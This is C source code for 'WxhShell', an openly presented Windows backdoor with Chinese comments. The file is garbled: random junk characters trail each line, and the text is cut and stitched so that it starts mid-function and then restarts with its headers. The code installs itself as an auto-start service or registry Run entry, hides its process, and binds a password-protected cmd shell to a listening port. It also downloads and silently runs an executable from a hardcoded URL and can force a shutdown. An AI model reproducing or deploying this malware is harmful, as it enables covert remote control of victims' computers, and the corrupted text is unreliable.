    if(Boot(SHUTDOWN)) Qfx(+=|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rZ5vey  
    else { !N:!x[5  
    closesocket(wsh); gp'9Pf;\[  
    ExitThread(0); I} a`11xb`  
    } k?ubr)[)  
    break; +InAK>NZ'  
    } x LR 2H>B}  
  // 获取shell Ex2TV7I  
  case 's': { <+@?V$&  
    CmdShell(wsh); +M-x*;.  
    closesocket(wsh); ZlD\)6 dZ  
    ExitThread(0); Lh.?G#EM  
    break; t"Ok-!c|  
  } /4{ 6`  
  // 退出 'X&sH/>r  
  case 'x': { ov&4&v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I@IZ1 /J,r  
    CloseIt(wsh); o&}!bq]  
    break; dx}) 1%  
    } B@g 0QgA  
  // 离开 ~?i;~S  
  case 'q': { %&m/e?@%I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A_3V1<J`]  
    closesocket(wsh); J%`-K"NB  
    WSACleanup(); u:#+R_0#97  
    exit(1); \|9@*]6:  
    break; pJ35M  
        } P(pw$ q$S  
  } h{xC0NC)  
  } vW,dJ[N6jm  
wz^Q,Od  
  // 提示信息 *6D0>F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6\>S%S2:  
} P__JN\{9  
  } 8q9HQ4dsL  
Pf&\2_H3s9  
  return; xL8r'gV@  
} 6UK{0\0  
mYLqT$t.+  
// shell模块句柄 `B6~KZ  
int CmdShell(SOCKET sock) h8@8Q w  
{ 2Zt :]be  
STARTUPINFO si; e~]3/0  
ZeroMemory(&si,sizeof(si)); Za68V/Vj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y)iT-$bQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $D{ KXkrd  
PROCESS_INFORMATION ProcessInfo; +-tvNX%IJ  
char cmdline[]="cmd"; .^6;_s>FN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a+A^njk  
  return 0; +oa\'.~?  
} ,#&\1Vxf  
KwGk8$ U  
// 自身启动模式 VN!`@Ci/  
int StartFromService(void) S+(TRIjk  
{ #'5|$ug[  
typedef struct ):"Z7~j=  
{ al>^}:  
  DWORD ExitStatus; RsV<4$  
  DWORD PebBaseAddress; A9Cq(L_H  
  DWORD AffinityMask; rg Gm[SL*<  
  DWORD BasePriority; m(MPVY<X  
  ULONG UniqueProcessId; [vMksHk4  
  ULONG InheritedFromUniqueProcessId; $|+q9 o\  
}   PROCESS_BASIC_INFORMATION; Ia_I~ U$  
(gN[<QL  
PROCNTQSIP NtQueryInformationProcess; *J^l r"%c  
o5=1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q9,H 0r-%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lS"g[O+  
69#mj*p@+  
  HANDLE             hProcess; >YP6/w,e  
  PROCESS_BASIC_INFORMATION pbi; I(LBc  
h| q!Qsnj'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w`_cmI  
  if(NULL == hInst ) return 0; K_/-mwA v  
v4M1uJ8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O?`=<W/R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l 2&cwjc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nx{_^sK  
_$s ;QI]x  
  if (!NtQueryInformationProcess) return 0; *12,MO>go  
-|E|-'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5G5P#<Vv  
  if(!hProcess) return 0; g\9I&z~?  
b4NUx)%ln  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Axb,{X[6g  
},r30`)Q  
  CloseHandle(hProcess); B~S"1EE[  
LxD >eA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kb"g  
if(hProcess==NULL) return 0; b{T". @b  
b4TZnO  
HMODULE hMod; qg521o$*  
char procName[255]; l!r2[T]I@7  
unsigned long cbNeeded; 5:3%RTLG  
Wh PwD6l>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _H[LUl9  
,3 !D(&  
  CloseHandle(hProcess); )6K Q"*  
p)_v.D3i  
if(strstr(procName,"services")) return 1; // 以服务启动 l#40VHa?S  
_i@{:v  
  return 0; // 注册表启动 f P|rD[  
} F_28q15~:  
ly,3,ok  
// 主模块 o }EipTL  
int StartWxhshell(LPSTR lpCmdLine) >%qk2h>  
{ -P I$SA,  
  SOCKET wsl; ]IX6>p,  
BOOL val=TRUE; Ql~9a [8T~  
  int port=0; oW0A8_|9  
  struct sockaddr_in door; |>w>}w`~  
cJb.@8^J  
  if(wscfg.ws_autoins) Install(); 8:W," "  
;ZnSWIF2  
port=atoi(lpCmdLine); ;Y/{q B!  
um/2.Sn>  
if(port<=0) port=wscfg.ws_port; $U3|.4  
E0F8FR'  
  WSADATA data; P''5A6#5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :.;p Rz  
4<`Qyul-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \*>r[6]*&5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~3]ZN'b\  
  door.sin_family = AF_INET; 93Z/|7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); f?KHp|  
  door.sin_port = htons(port); p]/qf \E  
Eqx2.S  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n-HQk7=mQ  
closesocket(wsl); T{9pNf-  
return 1; @|e4.(9A  
} ;3\oU$'  
YH_mWN\Wu  
  if(listen(wsl,2) == INVALID_SOCKET) { BQX6Q<  
closesocket(wsl); nIRJ5|G(  
return 1; rE:"8d}z  
} h$F.(NIYe  
  Wxhshell(wsl); N)F&c!anh  
  WSACleanup(); oJ r&9.S  
0?DD!H)&w  
return 0; 5AX AIPn)  
{2|[7oNT6  
}  z]/;?  
j41)X'MgJ  
// 以NT服务方式启动 M4%u~Z:4h+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uc0 1{t0,  
{ bfjC:"!H  
DWORD   status = 0; 0F"W~OQ6  
  DWORD   specificError = 0xfffffff; ~&zrDj~FI  
MCPVql`+`q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }]dK26pX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &E{CQ#k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8$!&D&v  
  serviceStatus.dwWin32ExitCode     = 0; Qqp_(5S|>  
  serviceStatus.dwServiceSpecificExitCode = 0; 4*j6~  
  serviceStatus.dwCheckPoint       = 0; nRP|Qt7>  
  serviceStatus.dwWaitHint       = 0; & XS2q0-x  
}6Ut7J]a|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z&f@)j  
  if (hServiceStatusHandle==0) return; O9+Dd%_KS#  
h8nJt>h  
status = GetLastError(); *w H.]$  
  if (status!=NO_ERROR) I:~KF/q  
{ goE \C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vb o| q[z  
    serviceStatus.dwCheckPoint       = 0; 3YKJN4  
    serviceStatus.dwWaitHint       = 0; xj6@85^  
    serviceStatus.dwWin32ExitCode     = status; 7H$I9e  
    serviceStatus.dwServiceSpecificExitCode = specificError; [uJfmrEH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6MewQ{hi  
    return; fGeDygV^`  
  } y4@zi"G  
E{LLxGAEZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oFO)28Btv  
  serviceStatus.dwCheckPoint       = 0; r JvtE}x1  
  serviceStatus.dwWaitHint       = 0; OouIV3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u[{j;l(  
} ce3UB~Q  
fwkklg^  
// 处理NT服务事件,比如:启动、停止 =:w]EpH"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `u<\ 4&W  
{ G_vcuCHm  
switch(fdwControl) _1c0pQ^}3  
{ ?S*Cvr+=4  
case SERVICE_CONTROL_STOP: #[ H4`hZ  
  serviceStatus.dwWin32ExitCode = 0; &oz^dlw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Az+k8=?  
  serviceStatus.dwCheckPoint   = 0; [~aRA'qJ{V  
  serviceStatus.dwWaitHint     = 0; Q)/V >QW  
  { b7^Db6qu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $dxk;V  
  } |41NRGgY  
  return; $wr B5m?  
case SERVICE_CONTROL_PAUSE: kFRl+,bi~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ifXGH>C  
  break; EZ"n3#/  
case SERVICE_CONTROL_CONTINUE: @5["L  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3R}O3#lj,  
  break; F @%`(/^TA  
case SERVICE_CONTROL_INTERROGATE: yb-1zF|  
  break; 7R4t%^F  
}; <:n !qQS6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]+"25V'L  
}  &x":  
?Z0NHy;5  
// 标准应用程序主函数 \80W?9qj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r_x|2 A oO  
{ /wR,P  
iBM;$0Y  
// 获取操作系统版本 wHT]&fZ  
OsIsNt=GetOsVer(); {4 y#+[  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  ?W3l  
mTj ?W$+r  
  // 从命令行安装 H@'f=Y*D  
  if(strpbrk(lpCmdLine,"iI")) Install();  &Hi;>  
%W(/W9B$/F  
  // 下载执行文件 -MK9IO]i  
if(wscfg.ws_downexe) { FxFRrRRH@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) up@I,9C/  
  WinExec(wscfg.ws_filenam,SW_HIDE); }fV+Kd$CB  
} fi,h`mdT?  
8v ZY+Q >  
if(!OsIsNt) { ; u@& [  
// 如果时win9x,隐藏进程并且设置为注册表启动 t@;r~S b  
HideProc(); 5r)]o'? s  
StartWxhshell(lpCmdLine); V JJ6q  
} {f(RYj  
else R<)^--n  
  if(StartFromService()) 7'g{:dzS*3  
  // 以服务方式启动 =pCO1<wR  
  StartServiceCtrlDispatcher(DispatchTable); Wik8V0(  
else W>o>Y$H  
  // 普通方式启动 W{i s2s  
  StartWxhshell(lpCmdLine); }e K.\_t=  
+T/T\[  
return 0; 1iJaj  
} &)$}Nk  
?;YymD_  
tRCz[M&  
TPF5?  
=========================================== @}<b42  
S]x\Asj;w  
`3e>JIl"0  
!qe:M]C'l  
]zATdfa  
?r'2GR2Sk4  
" h@{mcz  
_)U.5f<   
#include <stdio.h> $`&zIz  
#include <string.h> y2o~~te  
#include <windows.h> A-&XgOL  
#include <winsock2.h> ^2a63_  
#include <winsvc.h> 2X,`t%o  
#include <urlmon.h> KNG7$icG  
NVX@1}  
#pragma comment (lib, "Ws2_32.lib") 'JRYf;9c  
#pragma comment (lib, "urlmon.lib") >X_5o^s2s  
=#>F' A  
#define MAX_USER   100 // 最大客户端连接数 }{S+C[:_  
#define BUF_SOCK   200 // sock buffer h0aK}`/a  
#define KEY_BUFF   255 // 输入 buffer 0}3Xry,{  
VK>Cf>  
#define REBOOT     0   // 重启 (Zoopkxw  
#define SHUTDOWN   1   // 关机 P;U(2;9 N  
)Y &RMYy  
#define DEF_PORT   5000 // 监听端口 I /z`)  
GO]5~ 4k  
#define REG_LEN     16   // 注册表键长度 5L y Wg2  
#define SVC_LEN     80   // NT服务名长度 v+vM:At4  
ku5vaP(  
// 从dll定义API sKwUY{u\M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 60#eTo?}o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >pm`(zLn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ".7\>8A#a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8)ykXx/f@  
mlO\wn-F  
// wxhshell配置信息 ?`/DFI'_G  
struct WSCFG { WyU\,"  
  int ws_port;         // 监听端口 %PlA9@:IZ  
  char ws_passstr[REG_LEN]; // 口令 [T(`+ #f  
  int ws_autoins;       // 安装标记, 1=yes 0=no O8k+R@  
  char ws_regname[REG_LEN]; // 注册表键名 FaLc*CU  
  char ws_svcname[REG_LEN]; // 服务名 s4[PwD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8P* d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n+57# pS7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #SX-Y)> 1@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (H6Mi.uZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A4daIhP (  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Dnp><%  
)dfwYS*[n  
}; e0ULr!p  
Z</57w#-7  
// default Wxhshell configuration wE3fKG.  
struct WSCFG wscfg={DEF_PORT, LUzn7FZk  
    "xuhuanlingzhe", 2GxkOch  
    1, Z 5 Xis"j  
    "Wxhshell", d:#z{V_  
    "Wxhshell", uH |:gF^  
            "WxhShell Service", P?hB`5X  
    "Wrsky Windows CmdShell Service", +-:o+S`q~  
    "Please Input Your Password: ", QTospHf`  
  1, !LJ4 S  
  "http://www.wrsky.com/wxhshell.exe", -sxu7I  
  "Wxhshell.exe" ^Rb*mI  
    }; >0JC u^9  
;R]~9Aan  
// 消息定义模块 k`B S{,=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _t>[gB,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $kBcnk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <~zPt&C]V  
char *msg_ws_ext="\n\rExit."; :n,x?bM  
char *msg_ws_end="\n\rQuit."; ?|Ey WAL  
char *msg_ws_boot="\n\rReboot..."; UaB2vuL*=  
char *msg_ws_poff="\n\rShutdown..."; j@R"AP}  
char *msg_ws_down="\n\rSave to "; * .g[vCy  
oFKTBH:I  
char *msg_ws_err="\n\rErr!"; xEg@Y"NQ  
char *msg_ws_ok="\n\rOK!"; NwN3T]W  
 Dn#^-,H  
char ExeFile[MAX_PATH]; cAq5vAqmg  
int nUser = 0; & zv!cf  
HANDLE handles[MAX_USER]; ?4#UW7I  
int OsIsNt; p"0Dl9  
_%u t#  
SERVICE_STATUS       serviceStatus; gh `]OxA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \ #N))gAQ  
"fC>]iA8I  
// 函数声明 I2WWhsNC  
int Install(void); 1<Vke$   
int Uninstall(void); q1Ad"rm  
int DownloadFile(char *sURL, SOCKET wsh); 2(f-0or(  
int Boot(int flag); / 5/m x  
void HideProc(void); [)?yH3  
int GetOsVer(void); ft1V1 c  
int Wxhshell(SOCKET wsl); aVZ/e^kk-  
void TalkWithClient(void *cs); S 3s6  
int CmdShell(SOCKET sock); ji C2B  
int StartFromService(void); " u)e,gu  
int StartWxhshell(LPSTR lpCmdLine); $Lz!04  
(9{qT>eJg=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +g;{c+Kw:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); LkWY6 ?$U  
@0V4$OoFl  
// 数据结构和表定义 &g~NkJc0c  
SERVICE_TABLE_ENTRY DispatchTable[] = LqLhZBU9  
{  F*_+k  
{wscfg.ws_svcname, NTServiceMain}, m'-QVZ{(M%  
{NULL, NULL} qERJEyU?  
}; &W3Hj$>  
49ehj1Se  
// 自我安装 WmkCV+thA  
int Install(void) J:@yG1VIp  
{ %2\6.c=c  
  char svExeFile[MAX_PATH]; b94+GL U8b  
  HKEY key; c-"vQ>ux+  
  strcpy(svExeFile,ExeFile); = |E8z u%  
\,#;gS "  
// 如果是win9x系统,修改注册表设为自启动 Qq%~e41ec  
if(!OsIsNt) { 0mNL!"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $/ g<h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ' e %>Ip  
  RegCloseKey(key); ~x^Ra8A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9&{z?*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vha,rIi  
  RegCloseKey(key); )q`.tsR>  
  return 0; w3#0kl  
    } jOd+LXPJ  
  } u$FL(m4  
}  % s@  
else { B|.A6:1g+  
1je/l9L  
// 如果是NT以上系统,安装为系统服务 cl`7|;v|?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y t7>,  
if (schSCManager!=0) jO9! :L>b`  
{ "ruYMSpU  
  SC_HANDLE schService = CreateService 3 2"f'{  
  ( T[<554  
  schSCManager, raZkH8  
  wscfg.ws_svcname, _5S||TuNS  
  wscfg.ws_svcdisp, [930=rF*  
  SERVICE_ALL_ACCESS, wYLodMaYH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l[u17,]S  
  SERVICE_AUTO_START, 8@b`a]lgrd  
  SERVICE_ERROR_NORMAL, putRc??o;  
  svExeFile, ui-]%~  
  NULL, ^CgN>-xZ?#  
  NULL, MS:,I?  
  NULL, Dp4x\97O  
  NULL, uzT+,  
  NULL /N#=Tol  
  ); hAt4+O&P  
  if (schService!=0) ;GKL[ tI"  
  { oF a,IA  
  CloseServiceHandle(schService); 1M b[S{  
  CloseServiceHandle(schSCManager); ObJ-XNcNH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l%xTF@4e  
  strcat(svExeFile,wscfg.ws_svcname); ?op;#/Q(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \4>w17qng  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); eSHsE 3}h  
  RegCloseKey(key); {|<yZ,,p  
  return 0; 7rYBFSp  
    } =oM#]M'G+(  
  } ^nK7&]rK  
  CloseServiceHandle(schSCManager); DWEDL[{  
} e1y#p3 @d  
} (BngwLVDK  
)CHXfO w  
return 1; jT/P+2hMW  
} p2< 927z  
~2 nt33"  
// 自我卸载 a:OMI  
int Uninstall(void) @^DVA}*b)  
{ "?kDR1=7A  
  HKEY key; w~&#:F?  
fwmXIpteK  
if(!OsIsNt) { +SE\c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @.c[z D  
  RegDeleteValue(key,wscfg.ws_regname); ?JTTl;  
  RegCloseKey(key); [-i&)eX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P#Whh  
  RegDeleteValue(key,wscfg.ws_regname); ;<mcvm  
  RegCloseKey(key); Mlr'h}:H  
  return 0; j9yOkaVEg  
  } |i~-,:/-Y  
} LwTdmR  
} /n6ZN4  
else { oRJ!TAbD  
hS*&p0YV~M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]Yf^O @<<>  
if (schSCManager!=0) Pt cq/f  
{ fmJK+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w^=(:`  
  if (schService!=0) 54B`T/>R:E  
  { ZJ~0o2xZ'  
  if(DeleteService(schService)!=0) { .z=%3p8+  
  CloseServiceHandle(schService); uc}tTmB|  
  CloseServiceHandle(schSCManager); gs7_Q  
  return 0; Om;aE1sW  
  } )_OGt[_H  
  CloseServiceHandle(schService); 5 UOqS#"0  
  } 2b,edJVt?  
  CloseServiceHandle(schSCManager); dA E85  
} 9[teG5wA a  
} 23Dld+E&  
Nr+~3:3  
return 1; OCJt5#e~A  
} ~ ^D2]j  
p~Cz6n  
// 从指定url下载文件 7+}WU4  
int DownloadFile(char *sURL, SOCKET wsh) [8q`~S%-]  
{ XT*/aa-1'  
  HRESULT hr; Z_edNf }|  
char seps[]= "/"; D(TG)X?  
char *token; N{ $?u  
char *file; p|NY.N  
char myURL[MAX_PATH]; H+-x.l`  
char myFILE[MAX_PATH]; GN Ewq$  
~7PiIky.  
strcpy(myURL,sURL); }Y|M+0   
  token=strtok(myURL,seps); sa _J6~  
  while(token!=NULL) Q'!'+;&%  
  { MM*~X"A  
    file=token; xIW]e1pu=(  
  token=strtok(NULL,seps); <Rs$d0/  
  } fI2 y(p{?  
hoM%|,0  
GetCurrentDirectory(MAX_PATH,myFILE); 3 {hUp81>  
strcat(myFILE, "\\"); Fw{68ggk  
strcat(myFILE, file); k.2GIc:5  
  send(wsh,myFILE,strlen(myFILE),0); 9;uH}j8sE  
send(wsh,"...",3,0); u 8<[Q]5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m #G,m  
  if(hr==S_OK) ssS"X@VZ \  
return 0; 08{^Ksg  
else -;ra(L`  
return 1; r}sO},i  
?'|GGtvm  
} tCoE4Ed  
p&u\gSo  
// 系统电源模块 =cb!2%?}  
int Boot(int flag) 5O]ZX3z>  
{ WNb2"W  
  HANDLE hToken; \x:U`T  
  TOKEN_PRIVILEGES tkp; \IYv9ScAx  
Vgkj4EE  
  if(OsIsNt) { N6p0`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \ltS~E uWU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xLLTp7b(  
    tkp.PrivilegeCount = 1; 'p\&Mc_Gu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; US^%pd  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $T:;Kc W)  
if(flag==REBOOT) { <P ?gP1_zi  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kOdpW  
  return 0; kP/<S<h,g  
} &cTOrG  
else { ?u;m ],w!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #@5VT* /7  
  return 0; .fhfb\$  
} QVkji7)ZT  
  } S.`hl/  
  else { z C$F@  
if(flag==REBOOT) { t9*e"QH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (3Xs  
  return 0; [{R>'~  
} Z]WX 7d  
else { __s'/ 6u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |,S]EHIy  
  return 0; nUVk;0at  
} w-$iKtb.  
} (x@J@ GP*  
^!i4d))  
return 1; ~`^kP.()  
} @Q{:m)\  
nT2b"wkTT  
// win9x进程隐藏模块 #`U?,>2q  
void HideProc(void) \CE+P5  
{ R.l!KIq  
0%;| B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UWhHzLcXh  
  if ( hKernel != NULL ) !FyO5`v  
  { K^[m--  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~;pP@DA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B0p;Zh  
    FreeLibrary(hKernel); _3N,oCRm  
  } T][c^K*  
l+@k:IK  
return; v$x)$/]n  
} ^_ V0irv  
.I]v D#o  
// 获取操作系统版本 Mae2L2vc  
int GetOsVer(void) iRcac[uV  
{ C`3 XOth  
  OSVERSIONINFO winfo; ^jdtp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xXI WEZA  
  GetVersionEx(&winfo); =jpRv<X|,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _*[vKS A&  
  return 1; 3D5adI<aq"  
  else !>!jLZ0  
  return 0; ubsv\[:C  
} 7bE`P[  
>gq=W5vN(  
// 客户端句柄模块 8'zfq ]g  
int Wxhshell(SOCKET wsl) &U=_:]/  
{ #nft{AN  
  SOCKET wsh; -kP2Brm  
  struct sockaddr_in client; 9-&@Y  
  DWORD myID; TNeL%s?B3  
@"98u$5  
  while(nUser<MAX_USER) C~K/yLCAi  
{ Mh3L(z]/E  
  int nSize=sizeof(client); |HJ`uGN<b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xO %yjG=  
  if(wsh==INVALID_SOCKET) return 1; >b#CR/^z  
X}h}3+V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fpjFO&ML  
if(handles[nUser]==0) |F'eT 4  
  closesocket(wsh); e.(d?/!F_  
else ygm6(+  
  nUser++; n}1hmAh Z  
  } qh&KNJ>1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9^C6ZgNS  
f*hnzj  
  return 0; k%sA+=  
} <&B] p  
Rf>V]R  
// 关闭 socket rTJU)4I^h  
void CloseIt(SOCKET wsh) $ntC{a>&  
{ XgKYL<k?S  
closesocket(wsh); DIvxut  
nUser--; ?v F8 y;Jh  
ExitThread(0); 1GLb^:~A  
} kDE:KV<"c  
,m7Z w_.  
// 客户端请求句柄 9!2$?xqym  
void TalkWithClient(void *cs) j E5=e</  
{ nSZp,?^  
Kuk@x.~0m  
  SOCKET wsh=(SOCKET)cs; yTe25l{QaF  
  char pwd[SVC_LEN]; fHI@' '0  
  char cmd[KEY_BUFF]; =M4wP3V/  
char chr[1]; K&dc< 4DC  
int i,j; u8<Fk !  
u V'C_H  
  while (nUser < MAX_USER) { **6X9ZIX[  
:,/ \E  
if(wscfg.ws_passstr) { X C390t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y|9 LtQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G&M)n*o  
  //ZeroMemory(pwd,KEY_BUFF); >%_i#|dE>  
      i=0; ]i `~J  
  while(i<SVC_LEN) { ,s@S`KS0  
chE}`I?  
  // 设置超时 P;&U3i  
  fd_set FdRead; NX]6RZr-  
  struct timeval TimeOut; (15.?9  
  FD_ZERO(&FdRead); NB(  GE  
  FD_SET(wsh,&FdRead); '$ G%HUn  
  TimeOut.tv_sec=8; 9N) Ea:N  
  TimeOut.tv_usec=0; C8:y+pH_U;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )^E6VD&6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %6@m~;c0  
pf=CP%L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $"=0{H.?  
  pwd=chr[0]; w %6 L"  
  if(chr[0]==0xd || chr[0]==0xa) { Fy_~~nI0  
  pwd=0; ??P3gA  
  break; sP8_Y,  
  }  |FFM Q"  
  i++; RT9%E/m  
    } j2n 4; m  
3}.OSt'=  
  // 如果是非法用户,关闭 socket !#WJ(zSq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X%B2xQM 5  
} . ve a[  
-#AO4xpI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3[m~6 Ys  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4'`*Sce}  
|qq29dS?  
while(1) { {UhpN"'"n  
%8|?YxiZ:  
  ZeroMemory(cmd,KEY_BUFF); Az(J @  
/"1[qT\F  
      // 自动支持客户端 telnet标准   OnE~0+  
  j=0; |X~vsM0  
  while(j<KEY_BUFF) { 6" . v6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <<1_rRL]  
  cmd[j]=chr[0]; EixAmG  
  if(chr[0]==0xa || chr[0]==0xd) { f{D~ZC.*  
  cmd[j]=0; kAoh#8=  
  break; *AYjMCo  
  } :Ui'x8yt  
  j++; H<`7){iG  
    } M;@/697G  
`{J(S'a`  
  // 下载文件 >9Y0t^Fl  
  if(strstr(cmd,"http://")) { _#o75*42tT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r9^~I  
  if(DownloadFile(cmd,wsh)) TIP H#W:v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jouT9~[L'  
  else NbhQ-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I{u+=0^Y  
  } L0xh?B  
  else { #w)D ml  
xEe3,tb'e  
    switch(cmd[0]) { 3:!5 ]  
  0a v2w5>af  
  // 帮助 z8w@pT  
